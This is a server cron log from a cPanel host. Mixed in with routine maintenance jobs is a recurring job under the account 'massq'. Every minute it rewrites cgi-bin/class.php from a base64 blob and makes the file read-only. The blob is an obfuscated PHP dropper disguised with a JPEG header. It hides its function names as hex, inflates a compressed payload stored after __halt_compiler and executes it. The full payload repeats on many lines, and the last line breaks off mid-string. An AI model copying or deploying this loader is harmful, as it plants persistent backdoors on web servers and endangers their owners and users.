Sep  6 05:25:01 server CROND[29564]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 05:25:01 server CROND[29566]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 05:25:01 server CROND[29571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:25:01 server CROND[29570]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 05:25:01 server CROND[29572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:25:01 server CROND[29569]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 05:25:01 server CROND[29568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:26:01 server CROND[30481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:26:01 server CROND[30482]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:26:01 server CROND[30483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:27:01 server CROND[30871]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 05:27:01 server CROND[30872]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:27:01 server CROND[30873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:27:01 server CROND[30874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:28:02 server CROND[31255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:28:02 server CROND[31256]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:28:02 server CROND[31257]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:29:01 server CROND[31634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:29:01 server CROND[31635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:29:01 server CROND[31636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:30:01 server CROND[32012]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 05:30:01 server CROND[32013]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep  6 05:30:01 server CROND[32015]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 05:30:01 server CROND[32023]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 05:30:01 server CROND[32026]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 05:30:01 server CROND[32027]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 05:30:01 server CROND[32032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:30:01 server CROND[32035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:30:01 server CROND[32034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:31:01 server CROND[390]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:31:01 server CROND[391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:31:01 server CROND[392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:32:01 server CROND[892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:32:01 server CROND[893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:32:01 server CROND[894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:33:01 server CROND[1364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:33:01 server CROND[1365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:33:01 server CROND[1366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:34:01 server CROND[1739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:34:01 server CROND[1740]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:34:01 server CROND[1741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:35:01 server CROND[2174]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 05:35:01 server CROND[2176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:35:01 server CROND[2177]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 05:35:01 server CROND[2179]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 05:35:01 server CROND[2180]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:35:01 server CROND[2184]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 05:35:01 server CROND[2183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:35:01 server CROND[2181]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 05:35:01 server CROND[2178]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 05:36:02 server CROND[3061]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:36:02 server CROND[3062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:36:02 server CROND[3063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0N